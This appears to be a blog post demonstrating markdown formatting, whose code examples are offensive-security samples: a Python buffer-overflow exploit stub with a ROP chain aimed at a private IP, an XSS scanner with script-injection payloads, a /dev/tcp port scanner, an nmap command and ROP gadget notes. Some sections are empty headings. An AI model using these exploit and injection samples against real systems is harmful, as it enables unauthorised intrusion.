Complete Markdown Guide for Technical Writing

This guide demonstrates all the markdown features you can use in your blog posts, including syntax highlighting, tables, lists, and more.

Headings

You can create headings from H1 to H6:

H1 Heading

H2 Heading

H3 Heading

H4 Heading

H5 Heading

H6 Heading

Text Formatting

You can make text bold, italic, bold and italic, strikethrough, or use inline code.

Lists

Unordered Lists

• First item
• Second item
• Third item
  • Nested item 1
  • Nested item 2
    • Deeply nested item

Ordered Lists

1. First step
2. Second step
3. Third step
   1. Sub-step A
   2. Sub-step B

Task Lists

• Completed task
• Incomplete task
• Another task to do

Code Blocks

Python Example

# exploit.py - Simple buffer overflow exploit
import socket
import struct

def create_payload(target_ip, target_port):
    # Create ROP chain
    rop_chain = b""
    rop_chain += struct.pack("<Q", 0x00000000004011db)  # pop rdi; ret
    rop_chain += struct.pack("<Q", 0x0000000000404060)  # @ .data
    
    # Build exploit buffer
    buffer = b"A" * 512
    buffer += rop_chain
    
    return buffer

def exploit(target_ip, target_port):
    payload = create_payload(target_ip, target_port)
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(payload)
        print(f"[+] Exploit sent to {target_ip}:{target_port}")
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit("192.168.1.100", 9999)

JavaScript Example

// xss-scanner.js - Simple XSS vulnerability scanner
const axios = require('axios');

class XSSScanner {
  constructor(targetUrl) {
    this.targetUrl = targetUrl;
    this.payloads = [
      '<script>alert("XSS")</script>',
      '"><script>alert(String.fromCharCode(88,83,83))</script>',
      '<img src=x onerror=alert("XSS")>',
      '<svg/onload=alert("XSS")>'
    ];
  }

  async scan() {
    console.log(`[*] Scanning ${this.targetUrl} for XSS vulnerabilities...`);
    
    for (const payload of this.payloads) {
      try {
        const response = await axios.get(this.targetUrl, {
          params: { q: payload }
        });
        
        if (response.data.includes(payload)) {
          console.log(`[!] Potential XSS found with payload: ${payload}`);
        }
      } catch (error) {
        console.error(`[-] Error testing payload: ${error.message}`);
      }
    }
  }
}

const scanner = new XSSScanner('https://example.com/search');
scanner.scan();

Bash Script

#!/bin/bash
# port-scanner.sh - Simple port scanner

TARGET=$1
START_PORT=$2
END_PORT=$3

if [ -z "$TARGET" ] || [ -z "$START_PORT" ] || [ -z "$END_PORT" ]; then
    echo "Usage: $0 <target> <start_port> <end_port>"
    exit 1
fi

echo "[*] Scanning $TARGET from port $START_PORT to $END_PORT"

for port in $(seq $START_PORT $END_PORT); do
    timeout 1 bash -c "echo >/dev/tcp/$TARGET/$port" 2>/dev/null && 
        echo "[+] Port $port is open"
done

echo "[*] Scan complete"

SQL Example

-- Create users table with security considerations
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    salt VARCHAR(32) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    last_login TIMESTAMP,
    failed_login_attempts INT DEFAULT 0,
    account_locked BOOLEAN DEFAULT FALSE
);

-- Create audit log table
CREATE TABLE audit_log (
    id SERIAL PRIMARY KEY,
    user_id INT REFERENCES users(id),
    action VARCHAR(50) NOT NULL,
    ip_address INET,
    user_agent TEXT,
    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Insert sample user (never store plain passwords!)
INSERT INTO users (username, email, password_hash, salt)
VALUES ('admin', 'admin@example.com', 
        '$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/LewY5GyYzpLhJ6Tiu',
        'random_salt_here');

Blockquotes

This is a blockquote. It can be used for important notes or citations.

You can have multiple paragraphs in a blockquote.

Nested blockquotes are also possible.

Links and Images

Visit my GitHub

Tables

Horizontal Rules

You can create horizontal rules with three or more hyphens, asterisks, or underscores:

Inline Code and Commands

Use nmap -sV -sC target.com to scan a target with version detection and default scripts.

The sudo command allows you to run commands with elevated privileges.

Advanced: HTML in Markdown

pop rdi; ret          # Load first argument
pop rsi; ret          # Load second argument  
pop rdx; ret          # Load third argument
call system           # Execute system call

Mathematical Expressions

While standard markdown doesn’t support math, you can describe algorithms:

Time Complexity: O(n log n) Space Complexity: O(n)

Conclusion

This guide covers all the essential markdown features for technical writing. Use these formatting options to create clear, well-structured documentation and blog posts.

Quick Reference

• Bold: **text** or __text__
• Italic: *text* or _text_
• Code: `code`
• Link: [text](url)
• Image: ![alt](url)
• Heading: # H1, ## H2, etc.
• List: - or 1.
• Blockquote: >
• Code Block: ```language

Callouts (Notes, Tips, Warnings)

You can add visually styled callouts in Markdown using blockquotes with the GitHub-style marker notation:

You can optionally provide a custom title right after the marker:

Alternatively, put content on the same line using a colon style: